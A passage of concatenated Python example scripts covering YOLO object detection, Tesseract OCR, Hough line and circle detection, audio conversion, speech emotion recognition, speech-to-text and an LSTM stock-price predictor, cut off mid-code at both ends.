the bounding box x = int(centerX - (width / 2)) y = int(centerY - (height / 2)) # update our list of bounding box coordinates, confidences, # and class IDs boxes.append([x, y, int(width), int(height)]) confidences.append(float(confidence)) class_ids.append(class_id) # perform the non maximum suppression given the scores defined before idxs = cv2.dnn.NMSBoxes(boxes, confidences, SCORE_THRESHOLD, IOU_THRESHOLD) font_scale = 1 thickness = 1 # ensure at least one detection exists if len(idxs) > 0: # loop over the indexes we are keeping for i in idxs.flatten(): # extract the bounding box coordinates x, y = boxes[i][0], boxes[i][1] w, h = boxes[i][2], boxes[i][3] # draw a bounding box rectangle and label on the image color = [int(c) for c in colors[class_ids[i]]] cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=thickness) text = f"{labels[class_ids[i]]}: {confidences[i]:.2f}" # calculate text width & height to draw the transparent boxes as background of the text (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] text_offset_x = x text_offset_y = y - 5 box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) overlay = image.copy() cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) # add opacity (transparency to the box) image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) # now put the text (label: confidence %) cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, color=(0, 0, 0), thickness=thickness) out.write(image) cv2.imshow("image", image) if ord("q") == cv2.waitKey(1): break cap.release() cv2.destroyAllWindows() import time import torch import numpy as np import matplotlib.pyplot as plt import matplotlib.patches as patches def boxes_iou(box1, box2): """ Returns the IOU between box1 and box2 (i.e intersection area divided by union area) """ # Get the Width and Height of each bounding box width_box1 = box1[2] height_box1 = box1[3] width_box2 = box2[2] height_box2 = box2[3] # Calculate the area of the each bounding box area_box1 = width_box1 * height_box1 area_box2 = width_box2 * height_box2 # Find the vertical edges of the union of the two bounding boxes mx = min(box1[0] - width_box1/2.0, box2[0] - width_box2/2.0) Mx = max(box1[0] + width_box1/2.0, box2[0] + width_box2/2.0) # Calculate the width of the union of the two bounding boxes union_width = Mx - mx # Find the horizontal edges of the union of the two bounding boxes my = min(box1[1] - height_box1/2.0, box2[1] - height_box2/2.0) My = max(box1[1] + height_box1/2.0, box2[1] + height_box2/2.0) # Calculate the height of the union of the two bounding boxes union_height = My - my # Calculate the width and height of the area of intersection of the two bounding boxes intersection_width = width_box1 + width_box2 - union_width intersection_height = height_box1 + height_box2 - union_height # If the the boxes don't overlap then their IOU is zero if intersection_width <= 0 or intersection_height <= 0: return 0.0 # Calculate the area of intersection of the two bounding boxes intersection_area = intersection_width * intersection_height # Calculate the area of the union of the two bounding boxes union_area = area_box1 + area_box2 - intersection_area # Calculate the IOU iou = intersection_area/union_area return iou def nms(boxes, iou_thresh): """ Performs Non maximal suppression technique to boxes using iou_thresh threshold """ # print(boxes.shape) # If there are no bounding boxes do nothing if len(boxes) == 0: return boxes # Create a PyTorch Tensor to keep track of the detection confidence # of each predicted bounding box det_confs = torch.zeros(len(boxes)) # Get the detection confidence of each predicted bounding box for i in range(len(boxes)): det_confs[i] = boxes[i][4] # Sort the indices of the bounding boxes by detection confidence value in descending order. # We ignore the first returned element since we are only interested in the sorted indices _,sortIds = torch.sort(det_confs, descending = True) # Create an empty list to hold the best bounding boxes after # Non-Maximal Suppression (NMS) is performed best_boxes = [] # Perform Non-Maximal Suppression for i in range(len(boxes)): # Get the bounding box with the highest detection confidence first box_i = boxes[sortIds[i]] # Check that the detection confidence is not zero if box_i[4] > 0: # Save the bounding box best_boxes.append(box_i) # Go through the rest of the bounding boxes in the list and calculate their IOU with # respect to the previous selected box_i. for j in range(i + 1, len(boxes)): box_j = boxes[sortIds[j]] # If the IOU of box_i and box_j is higher than the given IOU threshold set # box_j's detection confidence to zero. if boxes_iou(box_i, box_j) > iou_thresh: box_j[4] = 0 return best_boxes def detect_objects(model, img, iou_thresh, nms_thresh): # Start the time. This is done to calculate how long the detection takes. start = time.time() # Set the model to evaluation mode. model.eval() # Convert the image from a NumPy ndarray to a PyTorch Tensor of the correct shape. # The image is transposed, then converted to a FloatTensor of dtype float32, then # Normalized to values between 0 and 1, and finally unsqueezed to have the correct # shape of 1 x 3 x 416 x 416 img = torch.from_numpy(img.transpose(2,0,1)).float().div(255.0).unsqueeze(0) # Feed the image to the neural network with the corresponding NMS threshold. # The first step in NMS is to remove all bounding boxes that have a very low # probability of detection. All predicted bounding boxes with a value less than # the given NMS threshold will be removed. list_boxes = model(img, nms_thresh) # Make a new list with all the bounding boxes returned by the neural network boxes = list_boxes[0][0] + list_boxes[1][0] + list_boxes[2][0] # Perform the second step of NMS on the bounding boxes returned by the neural network. # In this step, we only keep the best bounding boxes by eliminating all the bounding boxes # whose IOU value is higher than the given IOU threshold boxes = nms(boxes, iou_thresh) # Stop the time. finish = time.time() # Print the time it took to detect objects print('\n\nIt took {:.3f}'.format(finish - start), 'seconds to detect the objects in the image.\n') # Print the number of objects detected print('Number of Objects Detected:', len(boxes), '\n') return boxes def load_class_names(namesfile): # Create an empty list to hold the object classes class_names = [] # Open the file containing the COCO object classes in read-only mode with open(namesfile, 'r') as fp: # The coco.names file contains only one object class per line. # Read the file line by line and save all the lines in a list. lines = fp.readlines() # Get the object class names for line in lines: # Make a copy of each line with any trailing whitespace removed line = line.rstrip() # Save the object class name into class_names class_names.append(line) return class_names def print_objects(boxes, class_names): print('Objects Found and Confidence Level:\n') for i in range(len(boxes)): box = boxes[i] if len(box) >= 7 and class_names: cls_conf = box[5] cls_id = box[6] print('%i. %s: %f' % (i + 1, class_names[cls_id], cls_conf)) def plot_boxes(img, boxes, class_names, plot_labels, color = None): # Define a tensor used to set the colors of the bounding boxes colors = torch.FloatTensor([[1,0,1],[0,0,1],[0,1,1],[0,1,0],[1,1,0],[1,0,0]]) # Define a function to set the colors of the bounding boxes def get_color(c, x, max_val): ratio = float(x) / max_val * 5 i = int(np.floor(ratio)) j = int(np.ceil(ratio)) ratio = ratio - i r = (1 - ratio) * colors[i][c] + ratio * colors[j][c] return int(r * 255) # Get the width and height of the image width = img.shape[1] height = img.shape[0] # Create a figure and plot the image fig, a = plt.subplots(1,1) a.imshow(img) # Plot the bounding boxes and corresponding labels on top of the image for i in range(len(boxes)): # Get the ith bounding box box = boxes[i] # Get the (x,y) pixel coordinates of the lower-left and lower-right corners # of the bounding box relative to the size of the image. x1 = int(np.around((box[0] - box[2]/2.0) * width)) y1 = int(np.around((box[1] - box[3]/2.0) * height)) x2 = int(np.around((box[0] + box[2]/2.0) * width)) y2 = int(np.around((box[1] + box[3]/2.0) * height)) # Set the default rgb value to red rgb = (1, 0, 0) # Use the same color to plot the bounding boxes of the same object class if len(box) >= 7 and class_names: cls_conf = box[5] cls_id = box[6] classes = len(class_names) offset = cls_id * 123457 % classes red = get_color(2, offset, classes) / 255 green = get_color(1, offset, classes) / 255 blue = get_color(0, offset, classes) / 255 # If a color is given then set rgb to the given color instead if color is None: rgb = (red, green, blue) else: rgb = color # Calculate the width and height of the bounding box relative to the size of the image. width_x = x2 - x1 width_y = y1 - y2 # Set the postion and size of the bounding box. (x1, y2) is the pixel coordinate of the # lower-left corner of the bounding box relative to the size of the image. rect = patches.Rectangle((x1, y2), width_x, width_y, linewidth = 2, edgecolor = rgb, facecolor = 'none') # Draw the bounding box on top of the image a.add_patch(rect) # If plot_labels = True then plot the corresponding label if plot_labels: # Create a string with the object class name and the corresponding object class probability conf_tx = class_names[cls_id] + ': {:.1f}'.format(cls_conf) # Define x and y offsets for the labels lxc = (img.shape[1] * 0.266) / 100 lyc = (img.shape[0] * 1.180) / 100 # Draw the labels on top of the image a.text(x1 + lxc, y1 - lyc, conf_tx, fontsize = 12, color = 'k', bbox = dict(facecolor = rgb, edgecolor = rgb, alpha = 0.6)) plt.savefig("output.jpg") plt.show() import cv2 import matplotlib.pyplot as plt from utils import * from darknet import Darknet # Set the NMS Threshold score_threshold = 0.6 # Set the IoU threshold iou_threshold = 0.4 cfg_file = "cfg/yolov3.cfg" weight_file = "weights/yolov3.weights" namesfile = "data/coco.names" m = Darknet(cfg_file) m.load_weights(weight_file) class_names = load_class_names(namesfile) # m.print_network() original_image = cv2.imread("images/city_scene.jpg") original_image = cv2.cvtColor(original_image, cv2.COLOR_BGR2RGB) img = cv2.resize(original_image, (m.width, m.height)) # detect the objects boxes = detect_objects(m, img, iou_threshold, score_threshold) print(boxes[0]) print(boxes[1]) print(boxes[2]) # plot the image with the bounding boxes and corresponding object class labels plot_boxes(original_image, boxes, class_names, plot_labels=True) import cv2 import numpy as np import time import sys import os CONFIDENCE = 0.5 SCORE_THRESHOLD = 0.5 IOU_THRESHOLD = 0.5 # the neural network configuration config_path = "cfg/yolov3.cfg" # the YOLO net weights file weights_path = "weights/yolov3.weights" # loading all the class labels (objects) labels = open("data/coco.names").read().strip().split("\n") # generating colors for each object for later plotting colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8") # load the YOLO network net = cv2.dnn.readNetFromDarknet(config_path, weights_path) # path_name = "images/city_scene.jpg" path_name = sys.argv[1] image = cv2.imread(path_name) file_name = os.path.basename(path_name) filename, ext = file_name.split(".") h, w = image.shape[:2] # create 4D blob blob = cv2.dnn.blobFromImage(image, 1/255.0, (416, 416), swapRB=True, crop=False) # sets the blob as the input of the network net.setInput(blob) # get all the layer names ln = net.getLayerNames() ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()] # feed forward (inference) and get the network output # measure how much it took in seconds start = time.perf_counter() layer_outputs = net.forward(ln) time_took = time.perf_counter() - start print(f"Time took: {time_took:.2f}s") boxes, confidences, class_ids = [], [], [] # loop over each of the layer outputs for output in layer_outputs: # loop over each of the object detections for detection in output: # extract the class id (label) and confidence (as a probability) of # the current object detection scores = detection[5:] class_id = np.argmax(scores) confidence = scores[class_id] # discard weak predictions by ensuring the detected # probability is greater than the minimum probability if confidence > CONFIDENCE: # scale the bounding box coordinates back relative to the # size of the image, keeping in mind that YOLO actually # returns the center (x, y)-coordinates of the bounding # box followed by the boxes' width and height box = detection[:4] * np.array([w, h, w, h]) (centerX, centerY, width, height) = box.astype("int") # use the center (x, y)-coordinates to derive the top and # and left corner of the bounding box x = int(centerX - (width / 2)) y = int(centerY - (height / 2)) # update our list of bounding box coordinates, confidences, # and class IDs boxes.append([x, y, int(width), int(height)]) confidences.append(float(confidence)) class_ids.append(class_id) # perform the non maximum suppression given the scores defined before idxs = cv2.dnn.NMSBoxes(boxes, confidences, SCORE_THRESHOLD, IOU_THRESHOLD) font_scale = 1 thickness = 1 # ensure at least one detection exists if len(idxs) > 0: # loop over the indexes we are keeping for i in idxs.flatten(): # extract the bounding box coordinates x, y = boxes[i][0], boxes[i][1] w, h = boxes[i][2], boxes[i][3] # draw a bounding box rectangle and label on the image color = [int(c) for c in colors[class_ids[i]]] cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=thickness) text = f"{labels[class_ids[i]]}: {confidences[i]:.2f}" # calculate text width & height to draw the transparent boxes as background of the text (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0] text_offset_x = x text_offset_y = y - 5 box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height)) overlay = image.copy() cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED) # add opacity (transparency to the box) image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0) # now put the text (label: confidence %) cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, color=(0, 0, 0), thickness=thickness) # cv2.imshow("image", image) # if cv2.waitKey(0) == ord("q"): # pass cv2.imwrite(filename + "_yolo3." + ext, image) import pytesseract import cv2 import sys import matplotlib.pyplot as plt from PIL import Image # read the image using OpenCV image = cv2.imread(sys.argv[1]) # make a copy of this image to draw in image_copy = image.copy() # the target word to search for target_word = sys.argv[2] # get all data from the image data = pytesseract.image_to_data(image, output_type=pytesseract.Output.DICT) # get all occurences of the that word word_occurences = [ i for i, word in enumerate(data["text"]) if word.lower() == target_word ] for occ in word_occurences: # extract the width, height, top and left position for that detected word w = data["width"][occ] h = data["height"][occ] l = data["left"][occ] t = data["top"][occ] # define all the surrounding box points p1 = (l, t) p2 = (l + w, t) p3 = (l + w, t + h) p4 = (l, t + h) # draw the 4 lines (rectangular) image_copy = cv2.line(image_copy, p1, p2, color=(255, 0, 0), thickness=2) image_copy = cv2.line(image_copy, p2, p3, color=(255, 0, 0), thickness=2) image_copy = cv2.line(image_copy, p3, p4, color=(255, 0, 0), thickness=2) image_copy = cv2.line(image_copy, p4, p1, color=(255, 0, 0), thickness=2) plt.imsave("all_dog_words.png", image_copy) plt.imshow(image_copy) plt.show() import pytesseract import cv2 import matplotlib.pyplot as plt import sys from PIL import Image # read the image using OpenCV # from the command line first argument image = cv2.imread(sys.argv[1]) # or you can use Pillow # image = Image.open(sys.argv[1]) # get the string string = pytesseract.image_to_string(image) # print it print(string) # get all data # data = pytesseract.image_to_data(image) # print(data) import pytesseract import cv2 import matplotlib.pyplot as plt from PIL import Image # the target word to search for target_word = "your" cap = cv2.VideoCapture(0) while True: # read the image from the cam _, image = cap.read() # make a copy of this image to draw in image_copy = image.copy() # get all data from the image data = pytesseract.image_to_data(image, output_type=pytesseract.Output.DICT) # print the data print(data["text"]) # get all occurences of the that word word_occurences = [ i for i, word in enumerate(data["text"]) if word.lower() == target_word ] for occ in word_occurences: # extract the width, height, top and left position for that detected word w = data["width"][occ] h = data["height"][occ] l = data["left"][occ] t = data["top"][occ] # define all the surrounding box points p1 = (l, t) p2 = (l + w, t) p3 = (l + w, t + h) p4 = (l, t + h) # draw the 4 lines (rectangular) image_copy = cv2.line(image_copy, p1, p2, color=(255, 0, 0), thickness=2) image_copy = cv2.line(image_copy, p2, p3, color=(255, 0, 0), thickness=2) image_copy = cv2.line(image_copy, p3, p4, color=(255, 0, 0), thickness=2) image_copy = cv2.line(image_copy, p4, p1, color=(255, 0, 0), thickness=2) if cv2.waitKey(1) == ord("q"): break cv2.imshow("image_copy", image_copy) cap.release() cv2.destroyAllWindows() import cv2 import numpy as np import matplotlib.pyplot as plt import sys # load the image img = cv2.imread(sys.argv[1]) # convert BGR to RGB to be suitable for showing using matplotlib library img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) # make a copy of the original image cimg = img.copy() # convert image to grayscale img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # apply a blur using the median filter img = cv2.medianBlur(img, 5) # finds the circles in the grayscale image using the Hough transform circles = cv2.HoughCircles(image=img, method=cv2.HOUGH_GRADIENT, dp=0.9, minDist=80, param1=110, param2=39, maxRadius=70) for co, i in enumerate(circles[0, :], start=1): # draw the outer circle in green cv2.circle(cimg,(i[0],i[1]),i[2],(0,255,0),2) # draw the center of the circle in red cv2.circle(cimg,(i[0],i[1]),2,(0,0,255),3) # print the number of circles detected print("Number of circles detected:", co) # save the image, convert to BGR to save with proper colors # cv2.imwrite("coins_circles_detected.png", cimg) # show the image plt.imshow(cimg) plt.show() import numpy as np import matplotlib.pyplot as plt import cv2 cap = cv2.VideoCapture(0) while True: _, image = cap.read() # convert to grayscale grayscale = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # perform edge detection edges = cv2.Canny(grayscale, 30, 100) # detect lines in the image using hough lines technique lines = cv2.HoughLinesP(edges, 1, np.pi/180, 60, np.array([]), 50, 5) # iterate over the output lines and draw them for line in lines: for x1, y1, x2, y2 in line: cv2.line(image, (x1, y1), (x2, y2), (255, 0, 0), 3) cv2.line(edges, (x1, y1), (x2, y2), (255, 0, 0), 3) # show images cv2.imshow("image", image) cv2.imshow("edges", edges) if cv2.waitKey(1) == ord("q"): break cap.release() cv2.destroyAllWindows() import numpy as np import matplotlib.pyplot as plt import cv2 import sys # read the image image = cv2.imread(sys.argv[1]) # convert to grayscale grayscale = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # perform edge detection edges = cv2.Canny(grayscale, 30, 100) # detect lines in the image using hough lines technique lines = cv2.HoughLinesP(edges, 1, np.pi/180, 60, np.array([]), 50, 5) # iterate over the output lines and draw them for line in lines: for x1, y1, x2, y2 in line: cv2.line(image, (x1, y1), (x2, y2), color=(20, 220, 20), thickness=3) # show the image plt.imshow(image) plt.show() """ A utility script used for converting audio samples to be suitable for feature extraction """ import os def convert_audio(audio_path, target_path, remove=False): """This function sets the audio audio_path to: - 16000Hz Sampling rate - one audio channel ( mono ) Params: audio_path (str): the path of audio wav file you want to convert target_path (str): target path to save your new converted wav file remove (bool): whether to remove the old file after converting Note that this function requires ffmpeg installed in your system.""" os.system(f"ffmpeg -i {audio_path} -ac 1 -ar 16000 {target_path}") # os.system(f"ffmpeg -i {audio_path} -ac 1 {target_path}") if remove: os.remove(audio_path) def convert_audios(path, target_path, remove=False): """Converts a path of wav files to: - 16000Hz Sampling rate - one audio channel ( mono ) and then put them into a new folder called target_path Params: audio_path (str): the path of audio wav file you want to convert target_path (str): target path to save your new converted wav file remove (bool): whether to remove the old file after converting Note that this function requires ffmpeg installed in your system.""" for dirpath, dirnames, filenames in os.walk(path): for dirname in dirnames: dirname = os.path.join(dirpath, dirname) target_dir = dirname.replace(path, target_path) if not os.path.isdir(target_dir): os.mkdir(target_dir) for dirpath, _, filenames in os.walk(path): for filename in filenames: file = os.path.join(dirpath, filename) if file.endswith(".wav"): # it is a wav file target_file = file.replace(path, target_path) convert_audio(file, target_file, remove=remove) if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="""Convert ( compress ) wav files to 16MHz and mono audio channel ( 1 channel ) This utility helps for compressing wav files for training and testing""") parser.add_argument("audio_path", help="Folder that contains wav files you want to convert") parser.add_argument("target_path", help="Folder to save new wav files") parser.add_argument("-r", "--remove", type=bool, help="Whether to remove the old wav file after converting", default=False) args = parser.parse_args() audio_path = args.audio_path target_path = args.target_path if os.path.isdir(audio_path): if not os.path.isdir(target_path): os.makedirs(target_path) convert_audios(audio_path, target_path, remove=args.remove) elif os.path.isfile(audio_path) and audio_path.endswith(".wav"): if not target_path.endswith(".wav"): target_path += ".wav" convert_audio(audio_path, target_path, remove=args.remove) else: raise TypeError("The audio_path file you specified isn't appropriate for this operation") from sklearn.neural_network import MLPClassifier from sklearn.metrics import accuracy_score from utils import load_data import os import pickle # load RAVDESS dataset X_train, X_test, y_train, y_test = load_data(test_size=0.25) # print some details # number of samples in training data print("[+] Number of training samples:", X_train.shape[0]) # number of samples in testing data print("[+] Number of testing samples:", X_test.shape[0]) # number of features used # this is a vector of features extracted # using utils.extract_features() method print("[+] Number of features:", X_train.shape[1]) # best model, determined by a grid search model_params = { 'alpha': 0.01, 'batch_size': 256, 'epsilon': 1e-08, 'hidden_layer_sizes': (300,), 'learning_rate': 'adaptive', 'max_iter': 500, } # initialize Multi Layer Perceptron classifier # with best parameters ( so far ) model = MLPClassifier(**model_params) # train the model print("[*] Training the model...") model.fit(X_train, y_train) # predict 25% of data to measure how good we are y_pred = model.predict(X_test) # calculate the accuracy accuracy = accuracy_score(y_true=y_test, y_pred=y_pred) print("Accuracy: {:.2f}%".format(accuracy*100)) # now we save the model # make result directory if doesn't exist yet if not os.path.isdir("result"): os.mkdir("result") pickle.dump(model, open("result/mlp_classifier.model", "wb")) import pyaudio import os import wave import pickle from sys import byteorder from array import array from struct import pack from sklearn.neural_network import MLPClassifier from utils import extract_feature THRESHOLD = 500 CHUNK_SIZE = 1024 FORMAT = pyaudio.paInt16 RATE = 16000 SILENCE = 30 def is_silent(snd_data): "Returns 'True' if below the 'silent' threshold" return max(snd_data) < THRESHOLD def normalize(snd_data): "Average the volume out" MAXIMUM = 16384 times = float(MAXIMUM)/max(abs(i) for i in snd_data) r = array('h') for i in snd_data: r.append(int(i*times)) return r def trim(snd_data): "Trim the blank spots at the start and end" def _trim(snd_data): snd_started = False r = array('h') for i in snd_data: if not snd_started and abs(i)>THRESHOLD: snd_started = True r.append(i) elif snd_started: r.append(i) return r # Trim to the left snd_data = _trim(snd_data) # Trim to the right snd_data.reverse() snd_data = _trim(snd_data) snd_data.reverse() return snd_data def add_silence(snd_data, seconds): "Add silence to the start and end of 'snd_data' of length 'seconds' (float)" r = array('h', [0 for i in range(int(seconds*RATE))]) r.extend(snd_data) r.extend([0 for i in range(int(seconds*RATE))]) return r def record(): """ Record a word or words from the microphone and return the data as an array of signed shorts. Normalizes the audio, trims silence from the start and end, and pads with 0.5 seconds of blank sound to make sure VLC et al can play it without getting chopped off. """ p = pyaudio.PyAudio() stream = p.open(format=FORMAT, channels=1, rate=RATE, input=True, output=True, frames_per_buffer=CHUNK_SIZE) num_silent = 0 snd_started = False r = array('h') while 1: # little endian, signed short snd_data = array('h', stream.read(CHUNK_SIZE)) if byteorder == 'big': snd_data.byteswap() r.extend(snd_data) silent = is_silent(snd_data) if silent and snd_started: num_silent += 1 elif not silent and not snd_started: snd_started = True if snd_started and num_silent > SILENCE: break sample_width = p.get_sample_size(FORMAT) stream.stop_stream() stream.close() p.terminate() r = normalize(r) r = trim(r) r = add_silence(r, 0.5) return sample_width, r def record_to_file(path): "Records from the microphone and outputs the resulting data to 'path'" sample_width, data = record() data = pack('<' + ('h'*len(data)), *data) wf = wave.open(path, 'wb') wf.setnchannels(1) wf.setsampwidth(sample_width) wf.setframerate(RATE) wf.writeframes(data) wf.close() if __name__ == "__main__": # load the saved model (after training) model = pickle.load(open("result/mlp_classifier.model", "rb")) print("Please talk") filename = "test.wav" # record the file (start talking) record_to_file(filename) # extract features and reshape it features = extract_feature(filename, mfcc=True, chroma=True, mel=True).reshape(1, -1) # predict result = model.predict(features)[0] # show the result ! print("result:", result) import soundfile import numpy as np import librosa import glob import os from sklearn.model_selection import train_test_split # all emotions on RAVDESS dataset int2emotion = { "01": "neutral", "02": "calm", "03": "happy", "04": "sad", "05": "angry", "06": "fearful", "07": "disgust", "08": "surprised" } # we allow only these emotions AVAILABLE_EMOTIONS = { "angry", "sad", "neutral", "happy" } def extract_feature(file_name, **kwargs): """ Extract feature from audio file file_name Features supported: - MFCC (mfcc) - Chroma (chroma) - MEL Spectrogram Frequency (mel) - Contrast (contrast) - Tonnetz (tonnetz) e.g: features = extract_feature(path, mel=True, mfcc=True) """ mfcc = kwargs.get("mfcc") chroma = kwargs.get("chroma") mel = kwargs.get("mel") contrast = kwargs.get("contrast") tonnetz = kwargs.get("tonnetz") with soundfile.SoundFile(file_name) as sound_file: X = sound_file.read(dtype="float32") sample_rate = sound_file.samplerate if chroma or contrast: stft = np.abs(librosa.stft(X)) result = np.array([]) if mfcc: mfccs = np.mean(librosa.feature.mfcc(y=X, sr=sample_rate, n_mfcc=40).T, axis=0) result = np.hstack((result, mfccs)) if chroma: chroma = np.mean(librosa.feature.chroma_stft(S=stft, sr=sample_rate).T,axis=0) result = np.hstack((result, chroma)) if mel: mel = np.mean(librosa.feature.melspectrogram(X, sr=sample_rate).T,axis=0) result = np.hstack((result, mel)) if contrast: contrast = np.mean(librosa.feature.spectral_contrast(S=stft, sr=sample_rate).T,axis=0) result = np.hstack((result, contrast)) if tonnetz: tonnetz = np.mean(librosa.feature.tonnetz(y=librosa.effects.harmonic(X), sr=sample_rate).T,axis=0) result = np.hstack((result, tonnetz)) return result def load_data(test_size=0.2): X, y = [], [] for file in glob.glob("data/Actor_*/*.wav"): # get the base name of the audio file basename = os.path.basename(file) # get the emotion label emotion = int2emotion[basename.split("-")[2]] # we allow only AVAILABLE_EMOTIONS we set if emotion not in AVAILABLE_EMOTIONS: continue # extract speech features features = extract_feature(file, mfcc=True, chroma=True, mel=True) # add to data X.append(features) y.append(emotion) # split the data to training and testing and return it return train_test_split(np.array(X), y, test_size=test_size, random_state=7) import speech_recognition as sr import sys duration = int(sys.argv[1]) # initialize the recognizer r = sr.Recognizer() print("Please talk") with sr.Microphone() as source: # read the audio data from the default microphone audio_data = r.record(source, duration=duration) print("Recognizing...") # convert speech to text text = r.recognize_google(audio_data) print(text) import speech_recognition as sr import sys filename = sys.argv[1] # initialize the recognizer r = sr.Recognizer() # open the file with sr.AudioFile(filename) as source: # listen for the data (load audio to memory) audio_data = r.record(source) # recognize (convert from speech to text) text = r.recognize_google(audio_data) print(text) import os import time from tensorflow.keras.layers import LSTM # Window size or the sequence length N_STEPS = 100 # Lookup step, 1 is the next day LOOKUP_STEP = 90 # test ratio size, 0.2 is 20% TEST_SIZE = 0.2 # features to use FEATURE_COLUMNS = ["adjclose", "volume", "open", "high", "low"] # date now date_now = time.strftime("%Y-%m-%d") ### model parameters N_LAYERS = 3 # LSTM cell CELL = LSTM # 256 LSTM neurons UNITS = 256 # 40% dropout DROPOUT = 0.4 ### training parameters # mean squared error loss LOSS = "mse" OPTIMIZER = "rmsprop" BATCH_SIZE = 64 EPOCHS = 300 # Apple stock market ticker = "AAPL" ticker_data_filename = os.path.join("data", f"{ticker}_{date_now}.csv") # model name to save model_name = f"{date_now}_{ticker}-{LOSS}-{CELL.__name__}-seq-{N_STEPS}-step-{LOOKUP_STEP}-layers-{N_LAYERS}-units-{UNITS}" from tensorflow.keras.models import Sequential from tensorflow.keras.layers import LSTM, Dense, Dropout from sklearn import preprocessing from sklearn.model_selection import train_test_split from yahoo_fin import stock_info as si from collections import deque import numpy as np import pandas as pd import random def load_data(ticker, n_steps=50, scale=True, shuffle=True, lookup_step=1, test_size=0.2, feature_columns=['adjclose', 'volume', 'open', 'high', 'low']): """ Loads data from Yahoo Finance source, as well as scaling, shuffling, normalizing and splitting. Params: ticker (str/pd.DataFrame): the ticker you want to load, examples include AAPL, TESL, etc. n_steps (int): the historical sequence length (i.e window size) used to predict, default is 50 scale (bool): whether to scale prices from 0 to 1, default is True shuffle (bool): whether to shuffle the data, default is True lookup_step (int): the future lookup step to predict, default is 1 (e.g next day) test_size (float): ratio for test data, default is 0.2 (20% testing data) feature_columns (list): the list of features to use to feed into the model, default is everything grabbed from yahoo_fin """ # see if ticker is already a loaded stock from yahoo finance if isinstance(ticker, str): # load it from yahoo_fin library df = si.get_data(ticker) elif isinstance(ticker, pd.DataFrame): # already loaded, use it directly df = ticker else: raise TypeError("ticker can be either a str or a pd.DataFrame instances") # this will contain all the elements we want to return from this function result = {} # we will also return the original dataframe itself result['df'] = df.copy() # make sure that the passed feature_columns exist in the dataframe for col in feature_columns: assert col in df.columns if scale: column_scaler = {} # scale the data (prices) from 0 to 1 for column in feature_columns: scaler = preprocessing.MinMaxScaler() df[column] = scaler.fit_transform(np.expand_dims(df[column].values, axis=1)) column_scaler[column] = scaler # add the MinMaxScaler instances to the result returned result["column_scaler"] = column_scaler # add the target column (label) by shifting by lookup_step df['future'] = df['adjclose'].shift(-lookup_step) # last lookup_step columns contains NaN in future column # get them before droping NaNs last_sequence = np.array(df[feature_columns].tail(lookup_step)) # drop NaNs df.dropna(inplace=True) sequence_data = [] sequences = deque(maxlen=n_steps) for entry, target in zip(df[feature_columns].values, df['future'].values): sequences.append(entry) if len(sequences) == n_steps: sequence_data.append([np.array(sequences), target]) # get the last sequence by appending the last n_step sequence with lookup_step sequence # for instance, if n_steps=50 and lookup_step=10, last_sequence should be of 59 (that is 50+10-1) length # this last_sequence will be used to predict in future dates that are not available in the dataset last_sequence = list(sequences) + list(last_sequence) # shift the last sequence by -1 last_sequence = np.array(pd.DataFrame(last_sequence).shift(-1).dropna()) # add to result result['last_sequence'] = last_sequence # construct the X's and y's X, y = [], [] for seq, target in sequence_data: X.append(seq) y.append(target) # convert to numpy arrays X = np.array(X) y = np.array(y) # reshape X to fit the neural network X = X.reshape((X.shape[0], X.shape[2], X.shape[1])) # split the dataset result["X_train"], result["X_test"], result["y_train"], result["y_test"] = train_test_split(X, y, test_size=test_size, shuffle=shuffle) # return the result return result def create_model(input_length, units=256, cell=LSTM, n_layers=2, dropout=0.3, loss="mean_absolute_error", optimizer="rmsprop"): model = Sequential() for i in range(n_layers): if i == 0: # first layer model.add(cell(units, return_sequences=True, input_shape=(None, input_length))) elif i == n_layers - 1: # last layer model.add(cell(units, return_sequences=False)) else: # hidden layers model.add(cell(units, return_sequences=True)) # add dropout after each layer model.add(Dropout(dropout)) model.add(Dense(1, activation="linear")) model.compile(loss=loss, metrics=["mean_absolute_error"], optimizer=optimizer) return model from stock_prediction import create_model, load_data, np from parameters import * import matplotlib.pyplot as plt from sklearn.metrics import accuracy_score def plot_graph(model, data): y_test = data["y_test"] X_test = data["X_test"] y_pred = model.predict(X_test) y_test = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(np.expand_dims(y_test, axis=0))) y_pred = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(y_pred)) plt.plot(y_test[-200:], c='b') plt.plot(y_pred[-200:], c='r') plt.xlabel("Days") plt.ylabel("Price") plt.legend(["Actual Price", "Predicted Price"]) plt.show() def get_accuracy(model, data): y_test = data["y_test"] X_test = data["X_test"] y_pred = model.predict(X_test) y_test = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(np.expand_dims(y_test, axis=0))) y_pred = np.squeeze(data["column_scaler"]["adjclose"].inverse_transform(y_pred)) y_pred = list(map(lambda current, future: int(float(future) > float(current)), y_test[:-LOOKUP_STEP], y_pred[LOOKUP_STEP:])) y_test = list(map(lambda current, future: int(float(future) > float(current)), y_test[:-LOOKUP_STEP], y_test[LOOKUP_STEP:])) return accuracy_score(y_test, y_pred) def predict(model, data, classification=False): # retrieve the last sequence from data last_sequence = data["last_sequence"][:N_STEPS] # retrieve the column scalers column_scaler = data["column_scaler"] # reshape the last sequence last_sequence = last_sequence.reshape((last_sequence.shape[1], 